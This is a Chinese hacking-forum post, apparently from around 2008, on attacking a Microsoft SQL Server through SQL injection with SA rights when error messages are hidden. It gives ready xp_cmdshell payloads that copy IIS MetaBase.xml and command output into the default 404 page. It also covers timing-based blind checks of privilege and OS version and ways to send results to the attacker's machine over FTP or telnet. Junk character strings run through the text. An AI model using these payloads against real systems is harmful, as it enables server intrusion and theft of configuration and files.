遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。
E/ B9 d, ~! p# |6 w7 B& R
0 s A. a. y, U0 q% a" h0 O% L% ~( S" F 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
* _# w6 g! J0 ~, m* D
0 F- @! h' K; U( f$ g* K 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。, N- G" E- X$ M: e9 b
- _& y8 b% M- ] s6 S% g0 P' I IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
" b* ^3 R& E3 e7 f6 R
# P. p$ b4 L7 ~- C# ~; A1 R6 G 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
$ b. P. O- L O# r, J/ u
4 B3 Y6 ` ? U7 i ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。9 A3 s& r# z |. r6 D3 e
+ G+ J* n" @; h- x2 K% i/ ~5 H% F( n 执行命令得到回显
) e& `& Q/ T# [' N8 p2 u7 r2 l3 f1 G, n1 K; N4 m/ l
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--1 N9 ~# |, n( o- C7 ^1 X. |/ y
1 G6 f; P1 ?6 ]! x3 K9 {
得到文件也shi相同,把文件copy到404b.htm就行了
m& z t, s2 j0 b
/ o4 R3 V9 B& y; r by 28ice, 2008/6/26
$ n% G- \# w# y0 p. M2 r% c; b+ E) J: q* O8 Y, m. T2 {$ c% m
摘自 28度的冰8 t. x0 f( T3 E" O$ [
- m9 b$ Z: L i% Y
盲注判断权限和操作系统版本. d2 r3 ], O8 \/ C& {2 a
4 m/ a x+ z2 X7 d9 ], o _: H 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?9 I2 Q F3 H4 g( O9 G6 C
$ w7 x9 o# ]4 |0 G& g6 V 最简单的,可能以用这样的方法:' k2 P) u4 K4 m+ M. t$ V/ O- y5 T8 `
* G! x3 @( o% m8 {+ a1 Q 1=(select IS_SRVROLEMEMBER(’sysadmin’))5 O, W- I9 |5 x
5 Q, U. l" W5 J ~
当然,有些情况下,这个方法并不奏效。
% C$ {3 g; h; T M# V
# R- m; i# }* { 既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。! d, E, J N- }" J1 D5 q8 n
+ x: q2 R& r# F- \1 j
有个3办法可能以解决这个问题
+ ^3 T9 t7 j7 q! U7 V6 T; Y* x" K; W
2 L6 R k: p$ U1 V! H a.把执行结果写到404b.htm,具体请看我的上一篇文章5 ?8 j& M5 k7 t
" ?1 P) D$ B+ i) z& z) d p b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
0 G+ l" k4 q9 R* @% y1 M" D: V/ {
c.如果1433端口可能以连接,那干脆新建个sql登录/ F8 V% v( h7 L2 x7 T8 i+ Z
7 v# W5 W; a" Q7 J1 Q# m2 P d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数! }4 \' a7 l$ \; d: o& J
. K" J( D$ q; A. C5 C( u1 `+ e5 ~ 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下5 _6 C! g7 ~ U* h0 g o y
* R' {# w; f' D* K4 b) V
很简单* c: X7 ^* H; f( b+ n% H! y9 [4 {
4 a, Q, L9 h' l& Z
执行systeminfo
& [* ~+ N3 e4 u1 N+ M7 p
" a: u0 \2 }8 s q 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |